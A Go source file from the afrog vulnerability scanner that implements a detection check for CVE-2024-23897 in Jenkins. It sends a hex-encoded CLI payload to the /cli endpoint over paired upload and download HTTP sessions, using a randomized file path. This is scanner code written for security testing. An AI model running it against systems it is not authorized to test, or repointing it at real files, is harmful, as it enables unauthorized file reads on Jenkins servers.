package gox

import (
	"bytes"
	r1 "crypto/rand"
	"encoding/hex"
	"fmt"
	"io"
	"math/rand"
	"net/http"
	"net/url"
	"sync"
	"time"

	"github.com/zan8in/afrog/v3/pkg/proto"
)

func generateUUID() (string, error) {
	uuid := make([]byte, 16)

	if _, err := io.ReadFull(r1.Reader, uuid); err != nil {
		return "", err
	}

	uuid[6] = (uuid[6] & 0x0f) | 0x40
	uuid[8] = (uuid[8] & 0x3f) | 0x80

	return fmt.Sprintf("%x-%x-%x-%x-%x", uuid[0:4], uuid[4:6], uuid[6:8], uuid[8:10], uuid[10:]), nil
}
func CVE_2024_23897(target string, variableMap map[string]any) error {

	variableMap["request"] = nil
	variableMap["response"] = nil

	parseurl, _ := url.Parse(target)
	fulltarget := parseurl.String() + "/cli?remoting=false"

	uid, _ := generateUUID()
	payload, _ := hex.DecodeString("0000000600000468656c700000002000001e402f746d702f313261736461736461736461736461736461736461736433000000070200055554462d380000000d01000b7a685f434e5f2348616e730000000003")
	payload = bytes.Replace(payload, []byte("/tmp/12asdasdasdasdasdasdasd"), []byte("/"+RandLower(3)+"/"+RandLower(23)), -1)
	headers0 := map[string]string{
		"Content-Type":      "application/octet-stream",
		"Session":           uid,
		"Side":              "upload",
		"Transfer-Encoding": "chunked",
	}

	headers1 := map[string]string{
		"Content-Type": "application/x-www-form-urlencoded",
		"Session":      uid,
		"Side":         "download",
	}

	var wait sync.WaitGroup
	var (
		downloadReq  *proto.Request
		downloadResp *proto.Response
	)
	wait.Add(1)
	go func() {
		req, resp, bodyStr, _ := simplePost(fulltarget, nil, headers1, true)
		_ = bodyStr
		downloadReq = req
		downloadResp = resp
		wait.Done()
	}()

	time.Sleep(1 * time.Second)
	_, _, _, _ = simplePost(fulltarget, payload, headers0, false)
	wait.Wait()
	variableMap["request"] = downloadReq
	variableMap["response"] = downloadResp
	setTarget(target, variableMap)
	setFullTarget(fulltarget, variableMap)
	return nil
}
func init() {
	funcMap["CVE-2024-23897"] = CVE_2024_23897
}
func RandLower(n int) string {
	letters := []rune("abcdefghijklmnopqrstuvwxyz")
	result := make([]rune, n)

	// 设置随机种子
	randomGenerator := rand.New(rand.NewSource(time.Now().UnixNano()))

	for i := 0; i < n; i++ {
		result[i] = letters[randomGenerator.Intn(len(letters))]
	}

	return string(result)
}
func simplePost(url2 string, body []byte, headers map[string]string, keepVars bool) (*proto.Request, *proto.Response, string, error) {
	var vmap map[string]any
	if keepVars {
		vmap = make(map[string]any)
	}
	resp, err := DoHTTP(http.MethodPost, url2, body, headers, false, vmap)
	if err != nil {
		return nil, nil, "", err
	}

	var reqObj *proto.Request
	if keepVars {
		if v := vmap["request"]; v != nil {
			if pr, ok := v.(*proto.Request); ok {
				reqObj = pr
			}
		}
	}
	var bodyStr string
	if resp != nil {
		bodyStr = string(resp.Body)
	}
	return reqObj, resp, bodyStr, nil
}
